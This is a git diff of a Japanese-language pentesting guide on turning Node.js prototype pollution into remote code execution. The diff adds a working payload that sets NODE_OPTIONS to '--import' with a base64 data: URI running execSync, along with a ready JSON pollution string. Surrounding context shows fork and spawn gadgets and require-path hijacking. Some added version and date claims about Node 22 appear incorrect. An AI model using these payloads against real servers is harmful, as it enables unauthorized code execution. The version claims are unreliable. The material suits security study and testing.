diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md index 02f3aa8e7..be6701807 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Vulnerable Code +## 脆弱なコード -実際のJSが次のようなコードを使用していると想像してください: +実際のJSが以下のようなコードを使用していると想像してください: ```javascript const { execSync, fork } = require("child_process") @@ -39,9 +39,9 @@ var proc = fork("a_file.js") ``` ## PP2RCE via env vars -**PP2RCE**は**Prototype Pollution to RCE**(リモートコード実行)を意味します。 +**PP2RCE** は **Prototype Pollution to RCE** (リモートコード実行) を意味します。 -この[**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)によると、**process is spawned**が**`child_process`**のいくつかのメソッド(`fork`や`spawn`など)を使用して呼び出されると、**prototype pollution gadget to create new env vars**である`normalizeSpawnArguments`メソッドが呼び出されます: +この [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) によると、**`child_process`** のいくつかのメソッド(`fork` や `spawn` など)を使用して **プロセスが生成される** と、`normalizeSpawnArguments` メソッドが呼び出され、**新しい環境変数を作成するためのプロトタイプ汚染ガジェット**が使用されます: ```javascript //See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686 @@ -61,13 +61,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution } } ``` -コードを確認してください。**`envPairs`**を**汚染**することが可能であることがわかります。**属性`.env`**を通じてです。 +コードを確認すると、**属性 `.env`** を**汚染する**ことで **poison `envPairs`** が可能であることがわかります。 -### **`__proto__`の汚染** +### **`__proto__` の汚染** > [!WARNING] -> **`child_process`**ライブラリの**`normalizeSpawnArguments`**関数の動作により、プロセスのために**新しいenv変数を設定する**ために何かを呼び出すとき、**何かを汚染する**だけで済みます。\ -> 例えば、`__proto__.avar=" +> **`child_process`** ライブラリの **`normalizeSpawnArguments`** 関数の動作により、プロセスのために **新しい環境変数を設定する** ために何かを呼び出すとき、**何かを汚染する** だけで済みます。\ +> 例えば、`__proto__.avar="valuevar"` を実行すると、プロセスは `avar` という名前の変数を `valuevar` という値で生成します。 +> +> しかし、**環境変数が最初のものであるためには**、**`.env` 属性** を **汚染する** 必要があり、(一部のメソッドでは)その変数が **最初のもの** になります(攻撃を可能にします)。 +> +> だからこそ、次の攻撃では **`NODE_OPTIONS`** が **`.env`** の中にないのです。 ```javascript const { execSync, fork } = require("child_process") @@ -118,9 +122,9 @@ var proc = fork("a_file.js") ``` ## PP2RCE via env vars + cmdline -前のものと似たペイロードが[**この解説**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)で提案されました。主な違いは次のとおりです: +前のものと似たペイロードが[**この解説**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**で提案されました。** 主な違いは次のとおりです: -- nodejs **ペイロード**をファイル`/proc/self/environ`に保存する代わりに、**`/proc/self/cmdline`**のargv0に保存します。 +- nodejs **ペイロード**をファイル`/proc/self/environ`に保存する代わりに、**`/proc/self/cmdline`**の**argv0**内に保存します。 - その後、**`NODE_OPTIONS`**を介してファイル`/proc/self/environ`を要求する代わりに、**`/proc/self/cmdline`**を要求します。 ```javascript const { execSync, fork } = require("child_process") @@ -145,9 +149,50 @@ clone(USERINPUT) var proc = fork("a_file.js") // This should create the file /tmp/pp2rec ``` -## DNS Interaction +## Filesystem-less PP2RCE via `--import` (Node ≥ 19) -以下のペイロードを使用することで、以前に説明したNODE_OPTIONS環境変数を悪用し、DNSインタラクションを通じてそれが機能したかどうかを検出することが可能です: +> [!NOTE] +> **Node.js 19**以降、CLIフラグ`--import`は`--require`と同様に`NODE_OPTIONS`を通じて渡すことができます。`--require`とは対照的に、`--import`は**data-URI**を理解するため、攻撃者は**ファイルシステムへの書き込みアクセスを必要としません**。これにより、ロックダウンされた環境や読み取り専用環境での信頼性が大幅に向上します。 +> +> この技術は2023年5月にPortSwiggerの研究によって初めて公に文書化され、その後いくつかのCTFチャレンジで再現されています。 + +攻撃は、上記の`--require /proc/self/*`トリックと概念的に同じですが、ファイルを指すのではなく、ペイロードを直接base64エンコードされた`data:` URLに埋め込みます: +```javascript +const { fork } = require("child_process") + +// Manual pollution +b = {} + +// Javascript that is executed once Node parses the import URL +const js = "require('child_process').execSync('touch /tmp/pp2rce_import')"; +const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`; + +b.__proto__.NODE_OPTIONS = `--import ${payload}`; +// any key that will force spawn (fork) – same as earlier examples +fork("./a_file.js"); +``` +脆弱なマージ/クローンシンクを悪用することは、ページの上部に示されています: +```javascript +USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}'); +clone(USERINPUT); + +// Gadget trigger +fork("./a_file.js"); +// → creates /tmp/pp2rce_import +``` +### なぜ `--import` が役立つのか +1. **ディスクとの相互作用なし** – ペイロードはプロセスのコマンドラインと環境内で完全に移動します。 +2. **ESM専用環境で動作** – `--import` は、ECMAScript Modules にデフォルト設定されている最新の Node リリースで JavaScript をプリロードするための標準的な方法です。 +3. **一部の `--require` ホワイトリストをバイパス** – 一部のハードニングライブラリは `--require` のみをフィルタリングし、`--import` はそのまま残します。 + +> [!WARNING] +> `NODE_OPTIONS` における `--import` のサポートは、最新の **Node 22.2.0**(2025年6月)でも存在します。 Node コアチームは将来的にデータURIを制限することを検討していますが、執筆時点では緩和策は利用できません。 + +--- + +## DNS インタラクション + +以下のペイロードを使用することで、以前に議論した NODE_OPTIONS 環境変数を悪用し、DNS インタラクションで機能したかどうかを検出することが可能です: ```json { "__proto__": { @@ -223,16 +268,16 @@ var proc = execFile("/usr/bin/node") // Windows - not working ``` -**`execFile`** が機能するためには、**NODE_OPTIONS** が機能するように **node** を実行する必要があります。\ -もし **node** を実行していない場合は、実行されているものの **実行を変更する** 方法を見つけ、環境変数を設定する必要があります。 +**`execFile`**が機能するためには、**NODE_OPTIONS**が機能するために**node**を実行する必要があります。\ +もし**node**を実行していない場合は、実行されているものの**実行を変更する**方法を見つけ、環境変数を設定する必要があります。 -**他の** テクニックはこの要件なしで **機能** します。なぜなら、プロトタイプ汚染を通じて **実行されるものを変更する** ことが **可能だからです**。 (この場合、たとえ `.shell` を汚染できても、実行されているものは汚染できません)。 +**他の**技術はこの要件なしで**機能**します。なぜなら、プロトタイプ汚染を通じて**実行されるものを変更する**ことが**可能だからです**。(この場合、たとえ`.shell`を汚染できても、実行されているものは汚染されません)。
-fork の悪用 +forkの悪用 ```javascript // environ trick - working // Working after kEmptyObject (fix) @@ -459,16 +504,16 @@ var proc = spawnSync("something") ## スポーンの強制 -前の例では、ガジェットをトリガーする方法を見ましたが、**`spawn`** を呼び出す機能が **存在する** 必要があります(何かを実行するために使用される **`child_process`** のすべてのメソッドがそれを呼び出します)。前の例ではそれが **コードの一部** でしたが、コードが **呼び出していない** 場合はどうでしょうか。 +前の例では、ガジェットをトリガーする方法を見ましたが、**`spawn`** を呼び出す機能が **存在する** 必要があります(何かを実行するために使用されるすべての **`child_process`** メソッドはそれを呼び出します)。前の例ではそれが **コードの一部** でしたが、コードが **呼び出していない** 場合はどうでしょうか。 ### requireファイルパスの制御 -この [**別の書き込み**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) では、ユーザーが **`require`** が実行されるファイルパスを制御できます。そのシナリオでは、攻撃者は **インポートされたときにスポーンメソッドを実行する `.js` ファイルをシステム内で見つける** 必要があります。\ -インポートされたときにスポーン関数を呼び出す一般的なファイルのいくつかの例は次のとおりです: +この [**別の書き込み**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) では、ユーザーが **`require`** が実行されるファイルパスを制御できます。そのシナリオでは、攻撃者は **システム内の `.js` ファイルを見つける** 必要があります。これにより、インポート時にスポーンメソッドが **実行されます。**\ +インポート時にスポーン関数を呼び出す一般的なファイルのいくつかの例は次のとおりです: - /path/to/npm/scripts/changelog.js - /opt/yarn-v1.22.19/preinstall.js -- **以下にさらにファイルを見つける** +- **以下にさらにファイルを見つけてください** 次のシンプルなスクリプトは、**関数内の呼び出しを表示しない**(パディングなしで) **child_process** からの **呼び出し** を検索します: ```bash @@ -496,13 +541,13 @@ done ### プロトタイプ汚染を介したrequireファイルパスの設定 > [!WARNING] -> **以前の技術は**、**ユーザーがファイルのパスを制御する必要がある**ことを要求します。 しかし、これは常に真ではありません。 +> **前の技術は**、**ユーザーがファイルのパスを制御する必要がある**ことを要求します。 しかし、これは常に真ではありません。 -ただし、プロトタイプ汚染の後にrequireを実行するコードがある場合、たとえ**パスを制御できなくても**、**プロトタイプ汚染を悪用して異なるパスを強制することができます**。 したがって、コード行が`require("./a_file.js")`や`require("bytes")`のようであっても、汚染したパッケージを**require**します。 +ただし、プロトタイプ汚染の後にrequireを実行するコードがある場合、たとえ**requireされるパスを制御できなくても**、**プロトタイプ汚染を悪用して異なるものを強制することができます**。 したがって、コード行が`require("./a_file.js")`や`require("bytes")`のようであっても、汚染したパッケージを**require**します。 -したがって、プロトタイプ汚染の後にrequireが実行され、spawn関数がない場合、これは攻撃です: +したがって、プロトタイプ汚染の後にrequireが実行され、spawn関数がない場合、これが攻撃です: -- **システム内の`.js`ファイルを見つける** それが**require**されると、`child_process`を使用して**何かを実行します** +- **システム内の`.js`ファイルを見つける** それが**requireされると`child_process`を使用して何かを実行する** - 攻撃しているプラットフォームにファイルをアップロードできる場合、そのようなファイルをアップロードすることができます - パスを汚染して、**`.js`ファイルのrequireロードを強制する** それがchild_processで何かを実行します - **環境/コマンドラインを汚染して**、child_process実行関数が呼び出されたときに任意のコードを実行します(最初の技術を参照) @@ -634,7 +679,7 @@ fork("/path/to/anything") #### 相対的なrequire - 3 -前のものと似ており、[**この解説**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs)で見つかりました。 +前のものと同様に、[**この解説**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs)で見つかりました。 ```javascript // Requiring /opt/yarn-v1.22.19/preinstall.js Object.prototype["data"] = { @@ -657,16 +702,19 @@ require("./usage.js") ## VM Gadgets 論文[https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)では、**`vm`**ライブラリのいくつかのメソッドからの**`contextExtensions`**の制御がガジェットとして使用できることも示されています。\ -しかし、前述の**`child_process`**メソッドと同様に、最新のバージョンでは**修正**されています。 +しかし、前述の**`child_process`**メソッドと同様に、最新バージョンでは**修正**されています。 ## Fixes & Unexpected protections プロトタイプ汚染は、アクセスされているオブジェクトの**属性**が**未定義**である場合に機能することに注意してください。**コード**内でその**属性**に**値**が**設定**されている場合、**上書きすることはできません**。 -2022年6月、[**このコミット**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)から、変数`options`は`{}`の代わりに**`kEmptyObject`**です。これにより、プロトタイプ汚染が**`options`**の**属性**に影響を与えてRCEを取得するのを防ぎます。\ -少なくともv18.4.0からこの保護が**実装**されており、したがって`spawn`および`spawnSync`の**エクスプロイト**はメソッドに影響を与えなくなりました(`options`が使用されていない場合!)。 +2022年6月、[**このコミット**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)から、変数`options`は`{}`の代わりに**`kEmptyObject`**です。これにより、RCEを取得するために**`options`**の**属性**に影響を与えるプロトタイプ汚染が**防止**されます。\ +少なくともv18.4.0からこの保護が**実装**されており、したがって`spawn`および`spawnSync`の**エクスプロイト**は、**オプション**が使用されていない場合、メソッドに影響を与えなくなりました。 -[**このコミット**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)では、vmライブラリの**`contextExtensions`**の**プロトタイプ汚染**が、**`{}`**の代わりに**`kEmptyObject`**に設定されることで**ある程度修正**されました。 +[**このコミット**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)では、vmライブラリの**`contextExtensions`**の**プロトタイプ汚染**が、**`{}`**の代わりに**`kEmptyObject`**に設定することで**ある程度修正**されました。 + +> [!INFO] +> **Node 20 (2023年4月) & Node 22 (2025年4月)**はさらなる強化を提供しました:いくつかの`child_process`ヘルパーは、参照を使用するのではなく、ユーザー提供の`options`を**`CopyOptions()`**でコピーします。これにより、`stdio`のようなネストされたオブジェクトの汚染がブロックされますが、上記で説明した`NODE_OPTIONS` / `--import`トリックに対しては**保護されません** – これらのフラグは環境変数を介して引き続き受け入れられます。完全な修正には、親プロセスから伝播できるCLIフラグを制限する必要があり、これはNode Issue #50559で追跡されています。 ### **Other Gadgets** @@ -678,6 +726,8 @@ require("./usage.js") - [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/) - [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) +- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem) +- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression) - [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution) {{#include ../../../banners/hacktricks-training.md}}